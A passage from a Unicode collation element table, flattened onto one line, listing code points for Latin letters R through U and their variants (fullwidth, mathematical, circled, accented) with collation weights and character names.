; [.1E2B.0020.0002] # LATIN SMALL LETTER Q WITH HOOK TAIL -024A ; [.1E2B.0020.0008] # LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL -0138 ; [.1E2F.0020.0002] # LATIN SMALL LETTER KRA -0072 ; [.1E33.0020.0002] # LATIN SMALL LETTER R -FF52 ; [.1E33.0020.0003] # FULLWIDTH LATIN SMALL LETTER R -036C ; [.1E33.0020.0004] # COMBINING LATIN SMALL LETTER R -1DCA ; [.1E33.0020.0004] # COMBINING LATIN SMALL LETTER R BELOW -24AD ; [*0317.0020.0004][.1E33.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER R -1D42B ; [.1E33.0020.0005] # MATHEMATICAL BOLD SMALL R -1D45F ; [.1E33.0020.0005] # MATHEMATICAL ITALIC SMALL R -1D493 ; [.1E33.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL R -1D4C7 ; [.1E33.0020.0005] # MATHEMATICAL SCRIPT SMALL R -1D4FB ; [.1E33.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL R -1D52F ; [.1E33.0020.0005] # MATHEMATICAL FRAKTUR SMALL R -1D563 ; [.1E33.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL R -1D597 ; [.1E33.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL R -1D5CB ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF SMALL R -1D5FF ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL R -1D633 ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL R -1D667 ; [.1E33.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL R -1D69B ; [.1E33.0020.0005] # MATHEMATICAL MONOSPACE SMALL R -24E1 ; [.1E33.0020.0006] # CIRCLED LATIN SMALL LETTER R -0052 ; [.1E33.0020.0008] # LATIN CAPITAL LETTER R -FF32 ; [.1E33.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER R -1F121 ; [*0317.0020.0004][.1E33.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER R -211B ; [.1E33.0020.000B] # SCRIPT CAPITAL R -211C ; [.1E33.0020.000B] # BLACK-LETTER CAPITAL R -211D ; [.1E33.0020.000B] # DOUBLE-STRUCK CAPITAL R -1D411 ; [.1E33.0020.000B] # MATHEMATICAL BOLD CAPITAL R -1D445 ; [.1E33.0020.000B] # MATHEMATICAL ITALIC CAPITAL R -1D479 ; [.1E33.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL R -1D4E1 ; [.1E33.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL R -1D57D ; [.1E33.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL R -1D5B1 ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL R -1D5E5 ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL R -1D619 ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL R -1D64D ; [.1E33.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL R -1D681 ; [.1E33.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL R -24C7 ; [.1E33.0020.000C] # CIRCLED LATIN CAPITAL LETTER R -1F12C ; [.1E33.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER R -1F161 ; [.1E33.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER R -02B3 ; [.1E33.0020.0014] # MODIFIER LETTER SMALL R -1D63 ; [.1E33.0020.0015] # LATIN SUBSCRIPT SMALL LETTER R -1D3F ; [.1E33.0020.001D] # MODIFIER LETTER CAPITAL R -1F141 ; [.1E33.0020.001D] # SQUARED LATIN CAPITAL LETTER R -1F181 ; [.1E33.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER R -0155 ; [.1E33.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER R WITH ACUTE -0154 ; [.1E33.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER R WITH ACUTE -0159 ; [.1E33.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER R WITH CARON -0158 ; [.1E33.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER R WITH CARON -1E59 ; [.1E33.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER R WITH DOT ABOVE -1E58 ; [.1E33.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER R WITH DOT ABOVE -0157 ; [.1E33.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER R WITH CEDILLA -0156 ; [.1E33.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER R WITH CEDILLA -A7A7 ; [.1E33.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER R WITH OBLIQUE STROKE -A7A6 ; [.1E33.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER R WITH OBLIQUE STROKE -0211 ; [.1E33.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER R WITH DOUBLE GRAVE -0210 ; [.1E33.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER R WITH DOUBLE GRAVE -0213 ; [.1E33.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER R WITH INVERTED BREVE -0212 ; [.1E33.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER R WITH INVERTED BREVE -1E5B ; [.1E33.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER R WITH DOT BELOW -1E5A ; [.1E33.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW -1E5D ; [.1E33.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER R WITH DOT BELOW AND MACRON -1E5C ; [.1E33.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON -1E5F ; [.1E33.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER R WITH LINE BELOW -1E5E ; [.1E33.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER R WITH LINE BELOW -A783 ; [.1E33.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR R -A782 ; [.1E33.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR R -33AD ; [.1E33.0020.001C][.1C47.0020.001C][.1C8F.0020.001C] # SQUARE RAD -33AE ; [.1E33.0020.001C][.1C47.0020.001C][.1C8F.0020.001C][*0625.0020.001C][.1E71.0020.001C] # SQUARE RAD OVER S -33AF ; [.1E33.0020.001C][.1C47.0020.001C][.1C8F.0020.001C][*0625.0020.001C][.1E71.0020.001C][.1C3F.0020.001C] # SQUARE RAD OVER S SQUARED -20A8 ; [.1E33.0020.000A][.1E71.0020.0004] # RUPEE SIGN -AB45 ; [.1E37.0020.0002] # LATIN SMALL LETTER STIRRUP R -0280 ; [.1E38.0020.0002] # LATIN LETTER SMALL CAPITAL R -1DE2 ; [.1E38.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL R -01A6 ; [.1E38.0020.0008] # LATIN LETTER YR -AB46 ; [.1E3C.0020.0002] # LATIN LETTER SMALL CAPITAL R WITH RIGHT LEG -A75B ; [.1E3D.0020.0002] # LATIN SMALL LETTER R ROTUNDA -1DE3 ; [.1E3D.0020.0004] # COMBINING LATIN SMALL LETTER R ROTUNDA -A75A ; [.1E3D.0020.0008] # LATIN CAPITAL LETTER R ROTUNDA -1D19 ; [.1E3E.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED R -024D ; [.1E3F.0020.0002] # LATIN SMALL LETTER R WITH STROKE -024C ; [.1E3F.0020.0008] # LATIN CAPITAL LETTER R WITH STROKE -1D72 ; [.1E43.0020.0002] # LATIN SMALL LETTER R WITH MIDDLE TILDE -0279 ; [.1E44.0020.0002] # LATIN SMALL LETTER TURNED R -02B4 ; [.1E44.0020.0014] # MODIFIER LETTER SMALL TURNED R -1D1A ; [.1E48.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED R -027A ; [.1E49.0020.0002] # LATIN SMALL LETTER TURNED R WITH LONG LEG -1D89 ; [.1E4D.0020.0002] # LATIN SMALL LETTER R WITH PALATAL HOOK -027B ; [.1E4E.0020.0002] # LATIN SMALL LETTER TURNED R WITH HOOK -02B5 ; [.1E4E.0020.0014] # MODIFIER LETTER SMALL TURNED R WITH HOOK -2C79 ; [.1E52.0020.0002] # LATIN SMALL LETTER TURNED R WITH TAIL -027C ; [.1E53.0020.0002] # LATIN SMALL LETTER R WITH LONG LEG -027D ; [.1E57.0020.0002] # LATIN SMALL LETTER R WITH TAIL -2C64 ; [.1E57.0020.0008] # LATIN CAPITAL LETTER R WITH TAIL -AB49 ; [.1E5B.0020.0002] # LATIN SMALL LETTER R WITH CROSSED-TAIL -027E ; [.1E5C.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK -1D73 ; [.1E60.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE -027F ; [.1E61.0020.0002] # LATIN SMALL LETTER REVERSED R WITH FISHHOOK -AB47 ; [.1E65.0020.0002] # LATIN SMALL LETTER R WITHOUT HANDLE -AB48 ; [.1E66.0020.0002] # LATIN SMALL LETTER DOUBLE R -AB4A ; [.1E67.0020.0002] # LATIN SMALL LETTER DOUBLE R WITH CROSSED-TAIL -AB4B ; [.1E68.0020.0002] # LATIN SMALL LETTER SCRIPT R -AB4C ; [.1E69.0020.0002] # LATIN SMALL LETTER SCRIPT R WITH RING -0281 ; [.1E6A.0020.0002] # LATIN LETTER SMALL CAPITAL INVERTED R -02B6 ; [.1E6A.0020.0014] # MODIFIER LETTER SMALL CAPITAL INVERTED R -A775 ; [.1E6E.0020.0002] # LATIN SMALL LETTER RUM -A776 ; [.1E6F.0020.0002] # LATIN LETTER SMALL CAPITAL RUM -A75D ; [.1E70.0020.0002] # LATIN SMALL LETTER RUM ROTUNDA -A75C ; [.1E70.0020.0008] # LATIN CAPITAL LETTER RUM ROTUNDA -0073 ; [.1E71.0020.0002] # LATIN SMALL LETTER S -FF53 ; [.1E71.0020.0003] # FULLWIDTH LATIN SMALL LETTER S -1DE4 ; [.1E71.0020.0004] # COMBINING LATIN SMALL LETTER S -24AE ; [*0317.0020.0004][.1E71.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER S -1D42C ; [.1E71.0020.0005] # MATHEMATICAL BOLD SMALL S -1D460 ; [.1E71.0020.0005] # MATHEMATICAL ITALIC SMALL S -1D494 ; [.1E71.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL S -1D4C8 ; [.1E71.0020.0005] # MATHEMATICAL SCRIPT SMALL S -1D4FC ; [.1E71.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL S -1D530 ; [.1E71.0020.0005] # MATHEMATICAL FRAKTUR SMALL S -1D564 ; [.1E71.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL S -1D598 ; [.1E71.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL S -1D5CC ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF SMALL S -1D600 ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL S -1D634 ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL S -1D668 ; [.1E71.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL S -1D69C ; [.1E71.0020.0005] # MATHEMATICAL MONOSPACE SMALL S -24E2 ; [.1E71.0020.0006] # CIRCLED LATIN SMALL LETTER S -0053 ; [.1E71.0020.0008] # LATIN CAPITAL LETTER S -FF33 ; [.1E71.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER S -1F122 ; [*0317.0020.0004][.1E71.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER S -1F12A ; [*0379.0020.0004][.1E71.0020.000A][*037A.0020.0004] # TORTOISE SHELL BRACKETED LATIN CAPITAL LETTER S -1D412 ; [.1E71.0020.000B] # MATHEMATICAL BOLD CAPITAL S -1D446 ; [.1E71.0020.000B] # MATHEMATICAL ITALIC CAPITAL S -1D47A ; [.1E71.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL S -1D4AE ; [.1E71.0020.000B] # MATHEMATICAL SCRIPT CAPITAL S -1D4E2 ; [.1E71.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL S -1D516 ; [.1E71.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL S -1D54A ; [.1E71.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL S -1D57E ; [.1E71.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL S -1D5B2 ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL S -1D5E6 ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL S -1D61A ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL S -1D64E ; [.1E71.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL S -1D682 ; [.1E71.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL S -24C8 ; [.1E71.0020.000C] # CIRCLED LATIN CAPITAL LETTER S -1F162 ; [.1E71.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER S -02E2 ; [.1E71.0020.0014] # MODIFIER LETTER SMALL S -209B ; [.1E71.0020.0015] # LATIN SUBSCRIPT SMALL LETTER S -1F142 ; [.1E71.0020.001D] # SQUARED LATIN CAPITAL LETTER S -1F182 ; [.1E71.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER S -015B ; [.1E71.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER S WITH ACUTE -015A ; [.1E71.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER S WITH ACUTE -1E65 ; [.1E71.0020.0002][.0000.0024.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE -1E64 ; [.1E71.0020.0008][.0000.0024.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE -015D ; [.1E71.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX -015C ; [.1E71.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX -0161 ; [.1E71.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E71.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER S WITH CARON -1E67 ; [.1E71.0020.0002][.0000.0028.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH CARON AND DOT ABOVE -1E66 ; [.1E71.0020.0008][.0000.0028.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE -1E61 ; [.1E71.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT ABOVE -1E60 ; [.1E71.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT ABOVE -015F ; [.1E71.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER S WITH CEDILLA -015E ; [.1E71.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER S WITH CEDILLA -A7A9 ; [.1E71.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER S WITH OBLIQUE STROKE -A7A8 ; [.1E71.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER S WITH OBLIQUE STROKE -1E63 ; [.1E71.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER S WITH DOT BELOW -1E62 ; [.1E71.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW -1E69 ; [.1E71.0020.0002][.0000.0042.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE -1E68 ; [.1E71.0020.0008][.0000.0042.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE -0219 ; [.1E71.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER S WITH COMMA BELOW -0218 ; [.1E71.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER S WITH COMMA BELOW -017F ; [.1E71.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER LONG S -1DE5 ; [.1E71.0020.0004][.0000.0111.0004] # COMBINING LATIN SMALL LETTER LONG S -A785 ; [.1E71.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR S -A784 ; [.1E71.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR S -1E9B ; [.1E71.0020.0004][.0000.0111.0004][.0000.002E.0002] # LATIN SMALL LETTER LONG S WITH DOT ABOVE -1F18D ; [.1E71.0020.001D][.1C47.0020.001D] # NEGATIVE SQUARED SA -1F14C ; [.1E71.0020.001D][.1C8F.0020.001D] # SQUARED SD -1F1AA ; [.1E71.0020.001D][.1D18.0020.001D][.1EE3.0020.001D] # SQUARED SHV -2120 ; [.1E71.0020.0014][.1DAA.0020.0014] # SERVICE MARK -1F198 ; [.1E71.0020.001D][.1DDD.0020.001D][.1E71.0020.001D] # SQUARED SOS -33DB ; [.1E71.0020.001C][.1E33.0020.001C] # SQUARE SR -1F14D ; [.1E71.0020.001D][.1E71.0020.001D] # SQUARED SS -00DF ; [.1E71.0020.0004][.0000.0110.0004][.1E71.0020.0004] # LATIN SMALL LETTER SHARP S -1E9E ; [.1E71.0020.000A][.0000.0110.0004][.1E71.0020.000A] # LATIN CAPITAL LETTER SHARP S -FB06 ; [.1E71.0020.0004][.1E95.0020.0004] # LATIN SMALL LIGATURE ST -FB05 ; [.1E71.0020.0004][.0000.0111.0004][.1E95.0020.0004] # LATIN SMALL LIGATURE LONG S T -33DC ; [.1E71.0020.001D][.1EE3.0020.001C] # SQUARE SV -A731 ; [.1E75.0020.0002] # LATIN LETTER SMALL CAPITAL S -1D74 ; [.1E76.0020.0002] # LATIN SMALL LETTER S WITH MIDDLE TILDE -1D8A ; [.1E77.0020.0002] # LATIN SMALL LETTER S WITH PALATAL HOOK -0282 ; [.1E78.0020.0002] # LATIN SMALL LETTER S WITH HOOK -1DB3 ; [.1E78.0020.0014] # MODIFIER LETTER SMALL S WITH HOOK -023F ; [.1E7C.0020.0002] # LATIN SMALL LETTER S WITH SWASH TAIL -2C7E ; [.1E7C.0020.0008] # LATIN CAPITAL LETTER S WITH SWASH TAIL -1E9C ; [.1E80.0020.0002] # LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE -1E9D ; [.1E81.0020.0002] # LATIN SMALL LETTER LONG S WITH HIGH STROKE -0283 ; [.1E82.0020.0002] # LATIN SMALL LETTER ESH -1DEF ; [.1E82.0020.0004] # COMBINING LATIN SMALL LETTER ESH -01A9 ; [.1E82.0020.0008] # LATIN CAPITAL LETTER ESH -1DB4 ; [.1E82.0020.0014] # MODIFIER LETTER SMALL ESH -AB4D ; [.1E86.0020.0002] # LATIN SMALL LETTER BASELINE ESH -1D8B ; [.1E87.0020.0002] # LATIN SMALL LETTER ESH WITH PALATAL HOOK -01AA ; [.1E88.0020.0002] # LATIN LETTER REVERSED ESH LOOP -0285 ; [.1E8C.0020.0002] # LATIN SMALL LETTER SQUAT REVERSED ESH -1D98 ; [.1E90.0020.0002] # LATIN SMALL LETTER ESH WITH RETROFLEX HOOK -0286 ; [.1E91.0020.0002] # LATIN SMALL LETTER ESH WITH CURL -0074 ; [.1E95.0020.0002] # LATIN SMALL LETTER T -FF54 ; [.1E95.0020.0003] # FULLWIDTH LATIN SMALL LETTER T -036D ; [.1E95.0020.0004] # COMBINING LATIN SMALL LETTER T -24AF ; [*0317.0020.0004][.1E95.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER T -1D42D ; [.1E95.0020.0005] # MATHEMATICAL BOLD SMALL T -1D461 ; [.1E95.0020.0005] # MATHEMATICAL ITALIC SMALL T -1D495 ; [.1E95.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL T -1D4C9 ; [.1E95.0020.0005] # MATHEMATICAL SCRIPT SMALL T -1D4FD ; [.1E95.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL T -1D531 ; [.1E95.0020.0005] # MATHEMATICAL FRAKTUR SMALL T -1D565 ; [.1E95.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL T -1D599 ; [.1E95.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL T -1D5CD ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF SMALL T -1D601 ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL T -1D635 ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL T -1D669 ; [.1E95.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL T -1D69D ; [.1E95.0020.0005] # MATHEMATICAL MONOSPACE SMALL T -24E3 ; [.1E95.0020.0006] # CIRCLED LATIN SMALL LETTER T -0054 ; [.1E95.0020.0008] # LATIN CAPITAL LETTER T -FF34 ; [.1E95.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER T -1F123 ; [*0317.0020.0004][.1E95.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER T -1D413 ; [.1E95.0020.000B] # MATHEMATICAL BOLD CAPITAL T -1D447 ; [.1E95.0020.000B] # MATHEMATICAL ITALIC CAPITAL T -1D47B ; [.1E95.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL T -1D4AF ; [.1E95.0020.000B] # MATHEMATICAL SCRIPT CAPITAL T -1D4E3 ; [.1E95.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL T -1D517 ; [.1E95.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL T -1D54B ; [.1E95.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL T -1D57F ; [.1E95.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL T -1D5B3 ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL T -1D5E7 ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL T -1D61B ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL T -1D64F ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL T -1D683 ; [.1E95.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL T -24C9 ; [.1E95.0020.000C] # CIRCLED LATIN CAPITAL LETTER T -1F163 ; [.1E95.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER T -1D57 ; [.1E95.0020.0014] # MODIFIER LETTER SMALL T -209C ; [.1E95.0020.0015] # LATIN SUBSCRIPT SMALL LETTER T -1D40 ; [.1E95.0020.001D] # MODIFIER LETTER CAPITAL T -1F143 ; [.1E95.0020.001D] # SQUARED LATIN CAPITAL LETTER T -1F183 ; [.1E95.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER T -0165 ; [.1E95.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER T WITH CARON -0164 ; [.1E95.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER T WITH CARON -1E97 ; [.1E95.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER T WITH DIAERESIS -1E6B ; [.1E95.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER T WITH DOT ABOVE -1E6A ; [.1E95.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER T WITH DOT ABOVE -0163 ; [.1E95.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER T WITH CEDILLA -0162 ; [.1E95.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER T WITH CEDILLA -1E6D ; [.1E95.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER T WITH DOT BELOW -1E6C ; [.1E95.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER T WITH DOT BELOW -021B ; [.1E95.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER T WITH COMMA BELOW -021A ; [.1E95.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER T WITH COMMA BELOW -1E71 ; [.1E95.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW -1E70 ; [.1E95.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW -1E6F ; [.1E95.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER T WITH LINE BELOW -1E6E ; [.1E95.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER T WITH LINE BELOW -A787 ; [.1E95.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR T -A786 ; [.1E95.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR T -02A8 ; [.1E95.0020.0004][.1C89.0020.0004] # LATIN SMALL LETTER TC DIGRAPH WITH CURL -2121 ; [.1E95.0020.000A][.1CAA.0020.000A][.1D77.0020.000A] # TELEPHONE SIGN -1D7A ; [.1E95.0020.0004][.0000.0110.0004][.1D18.0020.0004] # LATIN SMALL LETTER TH WITH STRIKETHROUGH -3394 ; [.1E95.0020.001D][.1D18.0020.001D][.1F21.0020.001C] # SQUARE THZ -2122 ; [.1E95.0020.0014][.1DAA.0020.0014] # TRADE MARK SIGN -01BE ; [.1E95.0020.0004][.1E71.0020.0004] # LATIN LETTER INVERTED GLOTTAL STOP WITH STROKE -02A6 ; [.1E95.0020.0004][.1E71.0020.0004] # LATIN SMALL LETTER TS DIGRAPH -02A7 ; [.1E95.0020.0004][.1E82.0020.0004] # LATIN SMALL LETTER TESH DIGRAPH -A729 ; [.1E95.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER TZ -A728 ; [.1E95.0020.000A][.1F21.0020.0004] # LATIN CAPITAL LETTER TZ -1D1B ; [.1E99.0020.0002] # LATIN LETTER SMALL CAPITAL T -0167 ; [.1E9A.0020.0002] # LATIN SMALL LETTER T WITH STROKE -0166 ; [.1E9A.0020.0008] # LATIN CAPITAL LETTER T WITH STROKE -2C66 ; [.1E9E.0020.0002] # LATIN SMALL LETTER T WITH DIAGONAL STROKE -023E ; [.1E9E.0020.0008] # LATIN CAPITAL LETTER T WITH DIAGONAL STROKE -1D75 ; [.1E9F.0020.0002] # LATIN SMALL LETTER T WITH MIDDLE TILDE -01AB ; [.1EA0.0020.0002] # LATIN SMALL LETTER T WITH PALATAL HOOK -1DB5 ; [.1EA0.0020.0014] # MODIFIER LETTER SMALL T WITH PALATAL HOOK -01AD ; [.1EA4.0020.0002] # LATIN SMALL LETTER T WITH HOOK -01AC ; [.1EA4.0020.0008] # LATIN CAPITAL LETTER T WITH HOOK -0288 ; [.1EA8.0020.0002] # LATIN SMALL LETTER T WITH RETROFLEX HOOK -01AE ; [.1EA8.0020.0008] # LATIN CAPITAL LETTER T WITH RETROFLEX HOOK -0236 ; [.1EAC.0020.0002] # LATIN SMALL LETTER T WITH CURL -A777 ; [.1EB0.0020.0002] # LATIN SMALL LETTER TUM -0287 ; [.1EB1.0020.0002] # LATIN SMALL LETTER TURNED T -A7B1 ; [.1EB1.0020.0008] # LATIN CAPITAL LETTER TURNED T -0075 ; [.1EB5.0020.0002] # LATIN SMALL LETTER U -FF55 ; [.1EB5.0020.0003] # FULLWIDTH LATIN SMALL LETTER U -0367 ; [.1EB5.0020.0004] # COMBINING LATIN SMALL LETTER U -24B0 ; [*0317.0020.0004][.1EB5.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER U -1D42E ; [.1EB5.0020.0005] # MATHEMATICAL BOLD SMALL U -1D462 ; [.1EB5.0020.0005] # MATHEMATICAL ITALIC SMALL U -1D496 ; [.1EB5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL U -1D4CA ; [.1EB5.0020.0005] # MATHEMATICAL SCRIPT SMALL U -1D4FE ; [.1EB5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL U -1D532 ; [.1EB5.0020.0005] # MATHEMATICAL FRAKTUR SMALL U -1D566 ; [.1EB5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL U -1D59A ; [.1EB5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL U -1D5CE ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL U -1D602 ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL U -1D636 ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL U -1D66A ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL U -1D69E ; [.1EB5.0020.0005] # MATHEMATICAL MONOSPACE SMALL U -24E4 ; [.1EB5.0020.0006] # CIRCLED LATIN SMALL LETTER U -0055 ; [.1EB5.0020.0008] # LATIN CAPITAL LETTER U -FF35 ; [.1EB5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER U -1F124 ; [*0317.0020.0004][.1EB5.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER U -1D414 ; [.1EB5.0020.000B] # MATHEMATICAL BOLD CAPITAL U -1D448 ; [.1EB5.0020.000B] # MATHEMATICAL ITALIC CAPITAL U -1D47C ; [.1EB5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL U -1D4B0 ; [.1EB5.0020.000B] # MATHEMATICAL SCRIPT CAPITAL U -1D4E4 ; [.1EB5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL U -1D518 ; [.1EB5.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL U -1D54C ; [.1EB5.0020.000B] # MATHEMATICAL DOUBLE-STRUCK 